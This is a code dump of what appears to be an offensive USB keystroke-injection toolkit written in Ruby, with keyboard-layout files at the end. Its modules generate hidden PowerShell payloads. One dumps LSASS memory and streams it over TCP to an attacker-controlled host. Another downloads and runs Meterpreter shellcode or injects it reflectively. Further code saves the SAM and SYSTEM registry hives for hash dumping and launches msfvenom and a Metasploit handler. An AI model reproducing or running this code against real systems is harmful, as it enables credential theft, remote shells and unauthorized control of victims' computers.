19 | private 20 | 21 | def _options_lambda 22 | { :'1' => -> () { _admin_with_uac }, 23 | :'2' => -> () { _admin_with_out_uac }, 24 | :'3' => -> () { _low_priv } } 25 | end 26 | 27 | def _options 28 | { :'1' => 'admin_with_uac', 29 | :'2' => 'admin_with_out_uac', 30 | :'3' => 'low_priv' } 31 | end 32 | 33 | def _admin_with_uac 34 | cmd = "DELAY 3000\n" 35 | cmd << "CTRL ESC\n" 36 | cmd << "DELAY 200\n" 37 | cmd << "STRING cmd\n" 38 | cmd << "CTRL-SHIFT ENTER\n" 39 | cmd << "DELAY 2000\n" 40 | cmd << "ALT y\n" 41 | cmd << "DELAY 2000\n" 42 | cmd << 'STRING ' 43 | end 44 | 45 | def _admin_with_out_uac 46 | cmd = "DELAY 2000\n" 47 | cmd << "CTRL ESC\n" 48 | cmd << "DELAY 200\n" 49 | cmd << "STRING cmd\n" 50 | cmd << "CTRL-SHIFT ENTER\n" 51 | cmd << "DELAY 2000\n" 52 | cmd << 'STRING ' 53 | end 54 | 55 | def _low_priv 56 | cmd = "DELAY 2000\n" 57 | cmd << "GUI r\n" 58 | cmd << "DELAY 500\n" 59 | cmd << "STRING cmd\n" 60 | cmd << "ENTER\n" 61 | cmd << "DELAY 500\n" 62 | cmd << 'STRING ' 63 | end 64 | end 65 | 66 | class Compile 67 | include Core::Files 68 | def initialize(file_name) 69 | File.open("#{text_path}#{file_name}", 'a') { |f| f.write("\nENTER") } 70 | choice = _pick_language 71 | language = _language_options[choice.to_sym] 72 | print_info('Creating Bin File!') 73 | cmd = _compile_cmd(file_name, language) 74 | output = `#{cmd}` 75 | if output =~ /Exception/ 76 | print_error('Wrong Version of Java') 77 | print_info('Run update-alternatives --config java and select Java 7') 78 | exit 79 | else 80 | print_info(output) 81 | print_success('Bin File Created!') 82 | end 83 | end 84 | 85 | private 86 | 87 | def _pick_language 88 | _language_options.each do |key, lang| 89 | puts "#{key}) #{lang}" 90 | end 91 | rgets('Choice: ', '1') 92 | end 93 | 94 | def _language_options 95 | { :'1' => 'us.properties', :'2' => 'be.properties', 96 | :'3' => 'it.properties', :'4' => 'dk.properties', 97 | :'5' => 'es.properties', :'6' => 'uk.properties', 98 | :'7' => 'sv.properties', :'8' => 'ru.properties', 99 | :'9' => 'pt.properties', :'10' => 'de.properties', 100 | :'11' => 'no.properties', :'12' => 'fr.properties' } 101 | end 102 | 103 | def _compile_cmd(file_name, language) 104 | cmd = "java -jar #{duck_encode_file}encoder.jar -i " 105 | cmd << "#{text_path}#{file_name} -o #{file_root}/inject.bin -l " 106 | cmd << "#{language_dir}#{language} 2>&1" 107 | end 108 | end 109 | end 110 | -------------------------------------------------------------------------------- /lib/modules/powershell/lsass_dump.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | ## Thanks to: 3 | # @mattifestation 4 | require 'skeleton' 5 | class LsassDump < Skeleton 6 | attr_reader :ducky 7 | self.title = 'Lsass Dump TCP' 8 | self.description = 'Dump lsass process memory, and send it over TCP' 9 | 10 | def setup 11 | @host = @server_setup.host 12 | @port = @server_setup.port 13 | @ssl = @server_setup.use_ssl? 14 | end 15 | 16 | def run 17 | return unless @server_setup.host_listener? 18 | server = Server::Start.new(@ssl, @host, @port) 19 | Thread.new { server.listener('lsass') } 20 | end 21 | 22 | def finish 23 | priv_choice = @ducky_writer.menu 24 | File.open("#{text_path}#{@file_name}.txt", 'w') do |f| 25 | f.write(@ducky_writer.write(priv_choice)) 26 | f.write(psh_command(@host, @port, @ssl)) 27 | end 28 | Ducky::Compile.new("#{@file_name}.txt") 29 | end 30 | 31 | def path(folder) 32 | "c:\\windows\\temp\\#{folder}" 33 | end 34 | 35 | def psh_command(host, port, ssl) 36 | proc_dump = 'powershell -nop -wind hidden -noni ' 37 | proc_dump << %($path='#{path(random_name_gen)}.dmp';) 38 | proc_dump << "if([IntPtr]::Size -eq 4){$arch='_32_'}else{$arch='_64_'};" 39 | proc_dump << "$comp_name=(gc env:computername)+$arch+'lsass.dmp';" 40 | proc_dump << '$proc = ps lsass;$proc_handle = $proc.Handle;$proc_id = ' 41 | proc_dump << '$proc.Id;$WER = [PSObject].Assembly.GetType' 42 | proc_dump << "('System.Management.Automation.WindowsErrorReporting');" 43 | proc_dump << "$WERNativeMethods = $WER.GetNestedType('NativeMethods', " 44 | proc_dump << "'NonPublic');$Flags = [Reflection.BindingFlags] " 45 | proc_dump << "'NonPublic, Static';$MiniDumpWriteDump = " 46 | proc_dump << "$WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags);" 47 | proc_dump << '$MiniDumpWithFullMemory = [UInt32] 2;$FileStream = ' 48 | proc_dump << 'New-Object IO.FileStream($path, [IO.FileMode]::Create);' 49 | proc_dump << '$Result = $MiniDumpWriteDump.Invoke($null,@($proc_handle,' 50 | proc_dump << '$proc_id,$FileStream.SafeFileHandle,$MiniDumpWithFullMemory,' 51 | proc_dump << '[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero));' 52 | proc_dump << '$FileStream.Close();$lsass_file=[System.Convert]::' 53 | proc_dump << 'ToBase64String([io.file]::ReadAllBytes($path));' 54 | proc_dump << "$socket = New-Object Net.Sockets.TcpClient('#{host}', " 55 | proc_dump << "#{port.to_i});$stream = $socket.GetStream();" 56 | if ssl 57 | proc_dump << '$sslStream = New-Object System.Net.Security.SslStream' 58 | proc_dump << '($stream,$false,({$True} -as [Net.Security.' 59 | proc_dump << 'RemoteCertificateValidationCallback]));' 60 | proc_dump << "$sslStream.AuthenticateAsClient('#{host}');$writer = " 61 | proc_dump << 'new-object System.IO.StreamWriter($sslStream);' 62 | proc_dump << '$writer.WriteLine($comp_name);$writer.flush();$writer.' 63 | proc_dump << 'WriteLine($lsass_file);$writer.flush();$socket.close()' 64 | else 65 | proc_dump << '$writer = new-object System.IO.StreamWriter($stream);' 66 | proc_dump << '$writer.WriteLine($comp_name);$writer.flush();' 67 | proc_dump << '$writer.WriteLine($lsass_file);$writer.flush();$socket.close()' 68 | end 69 | proc_dump 70 | end 71 | end 72 | -------------------------------------------------------------------------------- /lib/core.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'fileutils' 3 | require 'open3' 4 | require 'readline' 5 | module Core 6 | module Commands 7 | def print_error(text) 8 | puts "\e[31;1m[-]\e[0m #{text}" 9 | end 10 | 11 | def print_info(text) 12 | puts "\e[34;1m[*]\e[0m #{text}" 13 | end 14 | 15 | def print_success(text) 16 | puts "\e[32;1m[+]\e[0m #{text}" 17 | end 18 | 19 | def rgets(prompt = ' ', default_value = '') 20 | line = Readline.readline(prompt, false) 21 | line = default_value if line.empty? 22 | line 23 | end 24 | 25 | def encode_command(command) 26 | Base64.encode64(command.encode('utf-16le')).delete("\r\n") 27 | end 28 | 29 | def random_name_gen 30 | random_length = rand(4..8) 31 | file_name = random_length.to_i.times.map do 32 | [*'a'..'z', *'A'..'Z', *'0'..'9'].sample 33 | end.join 34 | file_name 35 | end 36 | 37 | def print_hashes(x) 38 | samdump_path, samdump_status = Open3.capture2('which samdump2') 39 | bkhive_path, bkhive_status = Open3.capture2('which bkhive') 40 | print_error("Can't find samdump2!\n") if samdump_status.to_s =~ /exit 1/ 41 | print_error("Can't find bkhive!\n") if bkhive_status.to_s =~ /exit 1/ 42 | if samdump_status.to_s =~ /exit 0/ and bkhive_status.to_s =~ /exit 0/ 43 | Open3.capture2("#{bkhive_path.chomp} #{loot_dir}sys#{x} #{loot_dir}sys_key#{x}.txt") 44 | sam_dump,sam_exit = Open3.capture2("#{samdump_path.chomp} #{loot_dir}sam#{x} #{loot_dir}sys_key#{x}.txt") 45 | print_success("Printing Hashes!\n") 46 | puts sam_dump 47 | File.open("#{loot_dir}hashes#{x}.txt",'w') {|f| f.write(sam_dump)} 48 | else 49 | print_error("Can't dump local hashes!\n") 50 | end 51 | end 52 | end 53 | 54 | module Files 55 | def file_root 56 | File.expand_path(File.dirname($PROGRAM_NAME)) 57 | end 58 | 59 | def text_path 60 | unless Dir.exist?(file_root + '/text_files/') 61 | Dir.mkdir(file_root + '/text_files/') 62 | end 63 | file_root + '/text_files/' 64 | end 65 | 66 | def duck_encode_file 67 | file_root + '/duck_encoder/' 68 | end 69 | 70 | def language_dir 71 | duck_encode_file + '/resources/' 72 | end 73 | 74 | def loot_dir 75 | file_root + '/loot/' 76 | end 77 | 78 | def reverse_meterpreter_file 79 | 'powershell_reverse_ducky.txt' 80 | end 81 | 82 | def fast_meterpreter_file 83 | 'fast_meterpreter_ducky.txt' 84 | end 85 | 86 | def hash_dump_file 87 | 'hashdump_tcp.txt' 88 | end 89 | 90 | def lsass_dump_file 91 | 'lsassdump_tcp.txt' 92 | end 93 | 94 | def wifi_dump_file 95 | 'wifidump_tcp.txt' 96 | end 97 | 98 | def wget_file 99 | 'wget_powershell.txt' 100 | end 101 | 102 | def hex_to_bin_file 103 | 'hex_to_bin.txt' 104 | end 105 | 106 | def reg_folder 107 | 'c:\\windows\\temp\\reg\\' 108 | end 109 | 110 | def cert_dir 111 | file_root + '/certs/' 112 | end 113 | 114 | def save_sam 115 | "reg.exe save HKLM\\SAM #{reg_folder}sam" 116 | end 117 | 118 | def save_sys 119 | "reg.exe save HKLM\\SYSTEM #{reg_folder}sys" 120 | end 121 | 122 | def save_sec 123 | "reg.exe save HKLM\\SECURITY #{reg_folder}sec" 124 | end 125 | 126 | def victim_path 127 | 'c:\\windows\\temp' 128 | end 129 | 130 | def temp_path 131 | 'c:\\windows\\temp\\test.txt' 132 | end 133 | end 134 | end 135 | -------------------------------------------------------------------------------- /lib/banners.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | module Banners 3 | def main_banner 4 | " 5 | ____ ____ __ 6 | / __ \\____ _ _____ _____ / __ \\__ _______/ /____ __ 7 | / /_/ / __ \\ | /| / / _ \\/ ___/ / / / / / / / ___/ //_/ / / / 8 | / ____/ /_/ / |/ |/ / __/ / / /_/ / /_/ / /__/ ,< / /_/ / 9 | /_/ \\____/|__/|__/\\___/_/ /_____/\\__,_/\\___/_/|_|\\__, / 10 | /____/ 11 | " 12 | end 13 | def fast_meterpreter_banner 14 | " 15 | ______ __ __ ___ __ __ 16 | / ____/___ ______/ /_ / |/ /__ / /____ _________ ________ / /____ _____ 17 | / /_ / __ `/ ___/ __/ / /|_/ / _ \\/ __/ _ \\/ ___/ __ \\/ ___/ _ \\/ __/ _ \\/ ___/ 18 | / __/ / /_/ (__ ) /_ / / / / __/ /_/ __/ / / /_/ / / / __/ /_/ __/ / 19 | /_/ \\__,_/____/\\__/ /_/ /_/\\___/\\__/\\___/_/ / .___/_/ \\___/\\__/\\___/_/ 20 | /_/ 21 | " 22 | end 23 | def reverse_meterpreter_banner 24 | " 25 | ____ __ ___ __ __ 26 | / __ \\___ _ _____ _____________ / |/ /__ / /____ _________ ________ / /____ _____ 27 | / /_/ / _ \\ | / / _ \\/ ___/ ___/ _ \\ / /|_/ / _ \\/ __/ _ \\/ ___/ __ \\/ ___/ _ \\/ __/ _ \\/ ___/ 28 | / _, _/ __/ |/ / __/ / (__ ) __/ / / / / __/ /_/ __/ / / /_/ / / / __/ /_/ __/ / 29 | /_/ |_|\\___/|___/\\___/_/ /____/\\___/ /_/ /_/\\___/\\__/\\___/_/ / .___/_/ \\___/\\__/\\___/_/ 30 | /_/ 31 | " 32 | end 33 | def dump_hash_banner 34 | " 35 | __ __ __ ____ 36 | / / / /___ ______/ /_ / __ \\__ ______ ___ ____ 37 | / /_/ / __ `/ ___/ __ \\ / / / / / / / __ `__ \\/ __ \\ 38 | / __ / /_/ (__ ) / / / / /_/ / /_/ / / / / / / /_/ / 39 | /_/ /_/\\__,_/____/_/ /_/ /_____/\\__,_/_/ /_/ /_/ .___/ 40 | /_/ 41 | " 42 | end 43 | def dump_lsass_banner 44 | " 45 | __ _____ ___ __________ ____ 46 | / / / ___// | / ___/ ___/ / __ \\__ ______ ___ ____ 47 | / / \\__ \\/ /| | \\__ \\__ \\ / / / / / / / __ `__ \\/ __ \\ 48 | / /______/ / ___ |___/ /__/ / / /_/ / /_/ / / / / / / /_/ / 49 | /_____/____/_/ |_/____/____/ /_____/\\__,_/_/ /_/ /_/ .___/ 50 | /_/ 51 | " 52 | end 53 | def dump_wifi_banner 54 | " 55 | _ ___ _____ ____ 56 | | | / (_) __(_) / __ \\__ ______ ___ ____ 57 | | | /| / / / /_/ / / / / / / / / __ `__ \\/ __ \\ 58 | | |/ |/ / / __/ / / /_/ / /_/ / / / / / / /_/ / 59 | |__/|__/_/_/ /_/ /_____/\\__,_/_/ /_/ /_/ .___/ 60 | /_/ 61 | " 62 | end 63 | def powershell_wget_banner 64 | " 65 | ____ __ ____ _ ____________________ 66 | / __ \\____ _ _____ __________/ /_ ___ / / / | | / / ____/ ____/_ __/ 67 | / /_/ / __ \\ | /| / / _ \\/ ___/ ___/ __ \\/ _ \\/ / / | | /| / / / __/ __/ / / 68 | / ____/ /_/ / |/ |/ / __/ / (__ ) / / / __/ / / | |/ |/ / /_/ / /___ / / 69 | /_/ \\____/|__/|__/\\___/_/ /____/_/ /_/\\___/_/_/ |__/|__/\\____/_____/ /_/ 70 | 71 | " 72 | end 73 | def hex_to_bin_banner 74 | " 75 | __ __ __ ____ _ 76 | / / / /__ _ __ / /_____ / __ )(_)___ 77 | / /_/ / _ \\| |/_/ / __/ __ \\ / __ / / __ \\ 78 | / __ / __/> < / /_/ /_/ / / /_/ / / / / / 79 | /_/ /_/\\___/_/|_| \\__/\\____/ /_____/_/_/ /_/ 80 | 81 | " 82 | end 83 | def print_banner_color(banner) 84 | random_color = rand(30..38) 85 | print "\e[#{random_color};1m#{banner}\e[0m\n" 86 | end 87 | end 88 | -------------------------------------------------------------------------------- /lib/modules/powershell/meterpreter.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # Thanks to: 3 | # @mattifestation, @obscuresec, and @HackingDave 4 | require 'skeleton' 5 | require 'metasploit' 6 | class Meterpreter < Skeleton 7 | include Msf::Options 8 | attr_reader :ducky 9 | self.title = 'Launch Meterpreter' 10 | self.description = 'Download and Execute meterpreter shellcode ' 11 | description << 'from a web server or Reflectivly load Meterpreter Localy' 12 | 13 | def meterp_delivery 14 | puts 'Meterpreter Delivery' 15 | _options.each do |key, ops| 16 | puts "#{key}) #{ops}" 17 | end 18 | @dev = rgets('Choice: ', '1') 19 | end 20 | 21 | def _options 22 | { :'1' => 'Web Delivery', 23 | :'2' => 'Reflectivly Load' 24 | } 25 | end 26 | 27 | def setup 28 | meterp_delivery until @dev == '1' || @dev == '2' 29 | @msf = Msf::MsfCommands.new 30 | if @dev == '1' 31 | @host = @server_setup.host 32 | @port = @server_setup.port 33 | @ssl = @server_setup.use_ssl? 34 | end 35 | @payload = @msf.payload_select 36 | @msf_host = msf_host 37 | @msf_port = msf_port 38 | end 39 | 40 | def run 41 | @shellcode = @msf.generate_shellcode(@msf_host, @msf_port, @payload) 42 | return if @dev != '1' 43 | server = Server::Start.new(@ssl, @host, @port) 44 | if @server_setup.host_payload? 45 | Thread.new { server.host_raw(powershell_command2) } 46 | else 47 | @uri = @server_setup.uri 48 | end 49 | end 50 | 51 | def finish 52 | priv_choice = @ducky_writer.menu 53 | File.open("#{text_path}#{@file_name}.txt", 'w') do |f| 54 | f.write(@ducky_writer.write(priv_choice)) 55 | if @dev == '1' 56 | if @ssl 57 | f.write(web_powershell_command("https://#{@host}:#{@port}/#{@uri}")) 58 | else 59 | f.write(web_powershell_command("http://#{@host}:#{@port}/#{@uri}")) 60 | end 61 | else 62 | f.write(reflective_powershell_command( 63 | encode_command(powershell_command2))) 64 | end 65 | end 66 | Ducky::Compile.new("#{@file_name}.txt") 67 | @msf.start(@msf_host, @msf_port) if @msf.start_metasploit? 68 | end 69 | 70 | def web_powershell_command(url) 71 | psh = 'powershell -windowstyle hidden ' 72 | if @ssl 73 | psh << '[System.Net.ServicePointManager]::' 74 | psh << 'ServerCertificateValidationCallback = { $true };' 75 | end 76 | psh << 'IEX (New-Object ' 77 | psh << "Net.WebClient).DownloadString('#{url}')" 78 | end 79 | 80 | def reflective_powershell_command(encoded_command) 81 | psh = 'powershell -nop -wind hidden -noni -enc ' 82 | psh << "#{encoded_command}" 83 | end 84 | 85 | def powershell_command2 86 | s = %($1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr ) 87 | s << 'VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, ' 88 | s << "uint flProtect);[DllImport(\"kernel32.dll\")]public static extern " 89 | s << 'IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, ' 90 | s << 'IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, ' 91 | s << "IntPtr lpThreadId);[DllImport(\"msvcrt.dll\")]public static extern " 92 | s << "IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type " 93 | s << %(-memberDefinition $c -Name "Win32" -namespace Win32Functions ) 94 | s << "-passthru;[Byte[]];[Byte[]]$sc = #{@shellcode};$size = 0x1000;if " 95 | s << '($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::' 96 | s << 'VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);' 97 | s << '$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::' 98 | s << "CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$gq = " 99 | s << '[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.' 100 | s << 'GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + ' 101 | s << %("\\syswow64\\WindowsPowerShell\\v1.0\\powershell";$cmd = "-nop ) 102 | s << %(-noni -enc";iex "& $x86 $cmd $gq"}else{$cmd = "-nop -noni -enc";) 103 | s << %(iex "& powershell $cmd $gq";}) 104 | end 105 | end 106 | -------------------------------------------------------------------------------- /lib/metasploit.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'core' 3 | require 'base64' 4 | include Core::Commands 5 | 6 | module Msf 7 | module Options 8 | def hex_to_bin(file_name, hex_string) 9 | File.open(file_name, 'w') do |f| 10 | # f.write(hex_string.scan(/../).map { |x| x.hex }.pack('c*')) 11 | f.write(hex_string.scan(/../).map(&:hex)) 12 | end 13 | end 14 | 15 | def bin_to_hex(file) 16 | bin_file = File.open(file, 'rb').read 17 | bin_file.unpack('H*').first 18 | end 19 | 20 | def msf_host 21 | host_name = rgets('Enter the metasploit ip/url to listen on: ', 22 | 'localhost') 23 | print_success("Using #{host_name} as metasploit server") 24 | host_name 25 | end 26 | 27 | def msf_port 28 | port = rgets('Enter the port you would like to use [443]: ', 443) 29 | until (1..65_535).cover?(port.to_i) 30 | print_error('Not a valid port') 31 | sleep(1) 32 | end 33 | print_success("Using #{port}") 34 | port 35 | end 36 | end 37 | 38 | class MsfCommands 39 | include Core::Files 40 | def initialize 41 | if File.exist?('/usr/bin/msfvenom') 42 | @msf_path = '/usr/bin/' 43 | elsif File.exist?('/opt/metasploit-framework/msfvenom') 44 | @msf_path = ('/opt/metasploit-framework/') 45 | else 46 | print_error('Metasploit Not Found!') 47 | # exit 48 | end 49 | end 50 | 51 | def payload_select 52 | _payload_options.each do |key, opt| 53 | puts "#{key}) #{opt}" 54 | end 55 | choice = rgets('Choice: ', '1') 56 | _payload_options[choice.to_sym] 57 | end 58 | 59 | def generate_shellcode(host, port, payload) 60 | # TODO: look at encoder for x64 61 | @set_payload = payload 62 | print_info('Generating shellcode') 63 | cmd = "#{@msf_path}./msfvenom --payload #{payload} LHOST=#{host} " 64 | cmd << "LPORT=#{port} -e x86/shikata_ga_nai " 65 | cmd << "--platform #{_platform(payload)} -a #{_arch(payload)} " 66 | cmd << '-f c' 67 | execute = `#{cmd}` 68 | print_success('Shellcode Generated') 69 | _clean_shellcode(execute) 70 | end 71 | 72 | def start(host, port) 73 | unless Dir.exist?(file_root + '/metaspoit_files/') 74 | Dir.mkdir(file_root + '/metaspoit_files/') 75 | end 76 | file_path = file_root + '/metaspoit_files/' 77 | rc_file = 'msf_listener.rc' 78 | _write_rc(file_path, rc_file, host, port) 79 | print_info("Setting up Metasploit this may take a moment\n") 80 | system("#{@msf_path}./msfconsole -r #{file_path}#{rc_file}") 81 | end 82 | 83 | def start_metasploit? 84 | answer = '' 85 | until answer.downcase[0] == 'y' || answer.downcase[0] == 'n' 86 | answer = rgets('Start Metasploit? ', 'y') 87 | end 88 | answer.downcase[0] == 'y' ? true : false 89 | end 90 | 91 | private 92 | 93 | def _clean_shellcode(shellcode) 94 | shellcode = shellcode.gsub('\\', ',0') 95 | shellcode = shellcode.delete('+') 96 | shellcode = shellcode.delete('"') 97 | shellcode = shellcode.delete("\n") 98 | shellcode = shellcode.delete("\s") 99 | shellcode[0..18] = '' 100 | shellcode[-1] = '' 101 | shellcode 102 | end 103 | 104 | def _write_rc(file_path, rc_file, host, port) 105 | file = File.open("#{file_path}#{rc_file}", 'w') 106 | file.write("use exploit/multi/handler\n") 107 | file.write("set PAYLOAD #{@set_payload}\n") 108 | file.write("set LHOST #{host}\n") 109 | file.write("set LPORT #{port}\n") 110 | file.write("set EnableStageEncoding true\n") 111 | file.write("set ExitOnSession false\n") 112 | file.write('exploit -j') 113 | file.close 114 | end 115 | 116 | def _payload_options 117 | { :'1' => 'windows/meterpreter/reverse_tcp', 118 | :'2' => 'windows/meterpreter/reverse_https', 119 | :'3' => 'windows/meterpreter/reverse_http' } 120 | end 121 | 122 | def _arch(payload) 123 | case payload 124 | when /x64/ 125 | 'x64' 126 | else 127 | 'x86' 128 | end 129 | end 130 | 131 | def _platform(payload) 132 | case payload 133 | when /windows/ 134 | 'windows' 135 | when /linux/ 136 | 'linux' 137 | when 'osx' 138 | 'osx' 139 | end 140 | end 141 | end 142 | end 143 | -------------------------------------------------------------------------------- /duck_encoder/resources/us.properties: -------------------------------------------------------------------------------- 1 | // US layout 2 | 3 | // 32 4 | ASCII_20 = KEY_SPACE 5 | // 33 ! 6 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 7 | // 34 " 8 | ASCII_22 = KEY_QUOTE, MODIFIERKEY_SHIFT 9 | // 35 # 10 | ASCII_23 = KEY_3, MODIFIERKEY_SHIFT 11 | // 36 $ 12 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 13 | // 37 % 14 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 15 | // 38 & 16 | ASCII_26 = KEY_7, MODIFIERKEY_SHIFT 17 | // 39 ' 18 | ASCII_27 = KEY_QUOTE 19 | // 40 ( 20 | ASCII_28 = KEY_9, MODIFIERKEY_SHIFT 21 | // 41 ) 22 | ASCII_29 = KEY_0, MODIFIERKEY_SHIFT 23 | // 42 * 24 | ASCII_2A = KEY_8, MODIFIERKEY_SHIFT 25 | // 43 + 26 | ASCII_2B = KEY_EQUAL, MODIFIERKEY_SHIFT 27 | // 44 , 28 | ASCII_2C = KEY_COMMA 29 | // 45 - 30 | ASCII_2D = KEY_MINUS 31 | // 46 . 32 | ASCII_2E = KEY_PERIOD 33 | // 47 / 34 | ASCII_2F = KEY_SLASH 35 | // 48 0 36 | ASCII_30 = KEY_0 37 | // 49 1 38 | ASCII_31 = KEY_1 39 | // 50 2 40 | ASCII_32 = KEY_2 41 | // 51 3 42 | ASCII_33 = KEY_3 43 | // 52 4 44 | ASCII_34 = KEY_4 45 | // 53 5 46 | ASCII_35 = KEY_5 47 | // 54 6 48 | ASCII_36 = KEY_6 49 | // 55 7 50 | ASCII_37 = KEY_7 51 | // 55 8 52 | ASCII_38 = KEY_8 53 | // 57 9 54 | ASCII_39 = KEY_9 55 | // 58 : 56 | ASCII_3A = KEY_SEMICOLON, MODIFIERKEY_SHIFT 57 | // 59 ; 58 | ASCII_3B = KEY_SEMICOLON 59 | // 60 < 60 | ASCII_3C = KEY_COMMA, MODIFIERKEY_SHIFT 61 | // 61 = 62 | ASCII_3D = KEY_EQUAL 63 | // 62 > 64 | ASCII_3E = KEY_PERIOD, MODIFIERKEY_SHIFT 65 | // 63 ? 66 | ASCII_3F = KEY_SLASH, MODIFIERKEY_SHIFT 67 | // 64 @ 68 | ASCII_40 = KEY_2, MODIFIERKEY_SHIFT 69 | // 65 A 70 | ASCII_41 = KEY_A, MODIFIERKEY_SHIFT 71 | // 66 B 72 | ASCII_42 = KEY_B, MODIFIERKEY_SHIFT 73 | // 67 C 74 | ASCII_43 = KEY_C, MODIFIERKEY_SHIFT 75 | // 68 D 76 | ASCII_44 = KEY_D, MODIFIERKEY_SHIFT 77 | // 69 E 78 | ASCII_45 = KEY_E, MODIFIERKEY_SHIFT 79 | // 70 F 80 | ASCII_46 = KEY_F, MODIFIERKEY_SHIFT 81 | // 71 G 82 | ASCII_47 = KEY_G, MODIFIERKEY_SHIFT 83 | // 72 H 84 | ASCII_48 = KEY_H, MODIFIERKEY_SHIFT 85 | // 73 I 86 | ASCII_49 = KEY_I, MODIFIERKEY_SHIFT 87 | // 74 J 88 | ASCII_4A = KEY_J, MODIFIERKEY_SHIFT 89 | // 75 K 90 | ASCII_4B = KEY_K, MODIFIERKEY_SHIFT 91 | // 76 L 92 | ASCII_4C = KEY_L, MODIFIERKEY_SHIFT 93 | // 77 M 94 | ASCII_4D = KEY_M, MODIFIERKEY_SHIFT 95 | // 78 N 96 | ASCII_4E = KEY_N, MODIFIERKEY_SHIFT 97 | // 79 O 98 | ASCII_4F = KEY_O, MODIFIERKEY_SHIFT 99 | // 80 P 100 | ASCII_50 = KEY_P, MODIFIERKEY_SHIFT 101 | // 81 Q 102 | ASCII_51 = KEY_Q, MODIFIERKEY_SHIFT 103 | // 82 R 104 | ASCII_52 = KEY_R, MODIFIERKEY_SHIFT 105 | // 83 S 106 | ASCII_53 = KEY_S, MODIFIERKEY_SHIFT 107 | // 84 T 108 | ASCII_54 = KEY_T, MODIFIERKEY_SHIFT 109 | // 85 U 110 | ASCII_55 = KEY_U, MODIFIERKEY_SHIFT 111 | // 86 V 112 | ASCII_56 = KEY_V, MODIFIERKEY_SHIFT 113 | // 87 W 114 | ASCII_57 = KEY_W, MODIFIERKEY_SHIFT 115 | // 88 X 116 | ASCII_58 = KEY_X, MODIFIERKEY_SHIFT 117 | // 89 Y 118 | ASCII_59 = KEY_Y, MODIFIERKEY_SHIFT 119 | // 90 Z 120 | ASCII_5A = KEY_Z, MODIFIERKEY_SHIFT 121 | // 91 [ 122 | ASCII_5B = KEY_LEFT_BRACE 123 | // 92 124 | ASCII_5C = KEY_BACKSLASH 125 | // 93 ] 126 | ASCII_5D = KEY_RIGHT_BRACE 127 | // 94 ^ 128 | ASCII_5E = KEY_6, MODIFIERKEY_SHIFT 129 | // 95 _ 130 | ASCII_5F = KEY_MINUS, MODIFIERKEY_SHIFT 131 | // 96 ` 132 | ASCII_60 = KEY_TILDE 133 | // 97 a 134 | ASCII_61 = KEY_A 135 | // 98 b 136 | ASCII_62 = KEY_B 137 | // 99 c 138 | ASCII_63 = KEY_C 139 | // 100 d 140 | ASCII_64 = KEY_D 141 | // 101 e 142 | ASCII_65 = KEY_E 143 | // 102 f 144 | ASCII_66 = KEY_F 145 | // 103 g 146 | ASCII_67 = KEY_G 147 | // 104 h 148 | ASCII_68 = KEY_H 149 | // 105 i 150 | ASCII_69 = KEY_I 151 | // 106 j 152 | ASCII_6A = KEY_J 153 | // 107 k 154 | ASCII_6B = KEY_K 155 | // 108 l 156 | ASCII_6C = KEY_L 157 | // 109 m 158 | ASCII_6D = KEY_M 159 | // 110 n 160 | ASCII_6E = KEY_N 161 | // 111 o 162 | ASCII_6F = KEY_O 163 | // 112 p 164 | ASCII_70 = KEY_P 165 | // 113 q 166 | ASCII_71 = KEY_Q 167 | // 114 r 168 | ASCII_72 = KEY_R 169 | // 115 s 170 | ASCII_73 = KEY_S 171 | // 116 t 172 | ASCII_74 = KEY_T 173 | // 117 u 174 | ASCII_75 = KEY_U 175 | // 118 v 176 | ASCII_76 = KEY_V 177 | // 119 w 178 | ASCII_77 = KEY_W 179 | // 120 x 180 | ASCII_78 = KEY_X 181 | // 121 y 182 | ASCII_79 = KEY_Y 183 | // 122 z 184 | ASCII_7A = KEY_Z 185 | // 123 { 186 | ASCII_7B = KEY_LEFT_BRACE, MODIFIERKEY_SHIFT 187 | // 124 | 188 | ASCII_7C = KEY_BACKSLASH, MODIFIERKEY_SHIFT 189 | // 125 } 190 | ASCII_7D = KEY_RIGHT_BRACE, MODIFIERKEY_SHIFT 191 | // 126 ~ 192 | ASCII_7E = KEY_TILDE, MODIFIERKEY_SHIFT 193 | // 127 194 | ASCII_7F = KEY_BACKSPACE 195 | -------------------------------------------------------------------------------- /duck_encoder/resources/it.properties: -------------------------------------------------------------------------------- 1 | // Author: Armyofangels 2 | // 01-16-2013 3 | // LAYOUT_ITALIAN 4 | KEY_NON_US_100 = 100 5 | 6 | ASCII_20 = KEY_SPACE 7 | // 32 8 | ASCII_21 = KEY_1, MODIFIERKEY_SHIFT 9 | // 33 ! 10 | ASCII_22 = KEY_2, MODIFIERKEY_SHIFT 11 | // 34 “ 12 | ASCII_23 = KEY_QUOTE, MODIFIERKEY_RIGHT_ALT 13 | // 35 # 14 | ASCII_24 = KEY_4, MODIFIERKEY_SHIFT 15 | // 36 $ 16 | ASCII_25 = KEY_5, MODIFIERKEY_SHIFT 17 | // 37 % 18 | ASCII_26 = KEY_6, MODIFIERKEY_SHIFT 19 | // 38 & 20 | ASCII_27 = KEY_MINUS 21 | // 39 ‘ 22 | ASCII_28 = KEY_8, MODIFIERKEY_SHIFT 23 | // 40 ( 24 | ASCII_29 = KEY_9, MODIFIERKEY_SHIFT 25 | // 41 